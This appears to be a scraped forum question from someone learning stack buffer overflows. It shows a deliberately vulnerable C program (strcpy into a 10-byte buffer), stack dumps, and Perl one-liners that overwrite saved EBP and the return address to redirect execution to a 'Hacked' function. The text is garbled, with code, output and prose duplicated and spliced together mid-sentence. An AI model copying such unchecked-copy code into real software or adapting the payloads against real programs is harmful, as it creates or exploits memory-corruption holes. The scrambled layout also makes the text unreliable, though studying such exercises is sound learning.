I am kinda new to exploit development using buffer overflows. I've come across a sample code in one book I refer to, and the sample code doesn't execute properly. Here is my code...
#pragma check_stack(off)
void foo(const char* input)
{
char buf[10];
printf("stack is: \n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
strcpy(buf,input);
printf("%s\n",buf);
printf("Stack is now:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}
void bar(void)
{
printf("Hacked");
}
int main(int argc, char* argv[])
{
printf("Address of foo is %p\n",foo);
printf("Address of bar is %p\n",bar);
if(argc!=2)
{
printf("Please supply a string as an argument");
return -1;
}
foo(argv[1]);
return 0;
}
I compile my code using MinGW compiler suite for windows, and when I run the
#pragma check_stack(off)
void foo(const char* input) { char buf[10]; printf("stack is: \n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); strcpy(buf,input); printf("%s\n",buf); printf("Stack is now:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); } void bar(void) { printf("Hacked"); } int main(int argc, char* argv[]) { printf("Address of foo is %p\n",foo); printf("Address of bar is %p\n",bar); if(argc!=2) { printf("Please supply a string as an argument"); return -1; } foo(argv[1]); return 0; } program from the command line, I see output of the stack content.
I compile my code using MinGW compiler suite for windows, and when I run theprogram from the command line, I see output of the stack content.Address of foo is 00401340
Address of foo is 00401340
Address of bar is 0040137D
stack is:
00401280
0032D000
0000001B
0060FECC
B76EDE61
0060FFCC
7786D1F0
B76EDBA9
FFFFFFFE
0060FF18
004013F0
Hello
Stack is now:
00710CFA
0032D000
0000001B
0060FECC
6548DE61
006F6C6C
7786D1F0
B76EDBA9
FFFFFFFE
0060FF18
004013F0
So far so good, I get to see the start of my buffer, and also the return address of the function, in this case 0x004013F0. Also, the EBP stands at 0x0060FF18.Address of bar is 0040137D
The problem starts when I supply input that overwrites the EBP. Even when the EBP is overwritten, I get an error and my program crashes. My main aim is to overwrite the return address to get the program execute bar(). I forcibly overwrite the EBP and then also supply input that changes the return address to bar(), bar gets executed, but my program crashes.stack is:
I've tried a perl script that sends address as compiled input. I craft my input so that the EBP value doesn't change.00401280
0032D000
$arg="AAAAAAAAAAAAAAAAAA"."\x18\xFF\x60\x00\x7D\x13\x40\x00";
$cmd="ydy ".$arg;
system($cmd);0000001B
0060FECC
B76EDE61
0060FFCC
7786D1F0
B76EDBA9
FFFFFFFE
0060FF18
004013F0
Hello
Stack is now:
00710CFA
0032D000
0000001B
0060FECC
6548DE61
006F6C6C
7786D1F0
B76EDBA9
FFFFFFFE
0060FF18
004013F0
So far so good, I get to see the start of my buffer, and also the return address of the function, in this case 0x004013F0. Also, the EBP stands at 0x0060FF18.
The problem starts when I supply input that overwrites the EBP. Even when the EBP is overwritten, I get an error and my program crashes. My main aim is to overwrite the return address to get the program execute bar(). I forcibly overwrite the EBP and then also supply input that changes the return address to bar(), bar gets executed, but my program crashes.
I've tried a perl script that sends address as compiled input. I craft my input so that the EBP value doesn't change.
$arg="AAAAAAAAAAAAAAAAAA"."\x18\xFF\x60\x00\x7D\x13\x40\x00";
$cmd="ydy ".$arg;
system($cmd);
In this case, the return address doesn't get overwritten. But if I change the address to
$arg="AAAAAAAAAAAAAAAAAA"."\x12\xFF\x60\x00\x7D\x13\x40\x00";
$cmd="sample ".$arg;
system($cmd);
$arg="AAAAAAAAAAAAAAAAAA"."\x12\xFF\x60\x00\x7D\x13\x40\x00";
$cmd="sample ".$arg;
system($cmd);
The EBPEBP is overwritten and also return address. bar() is executed but programme crashes. My questions are: 1. Why does EBPEBP corruption causing program crash? I've never known it does. 2. Why isn't the return address getting overwritten in case 1 of the script, but gets overwritten when the crafted input does overwrite EBPEBP?
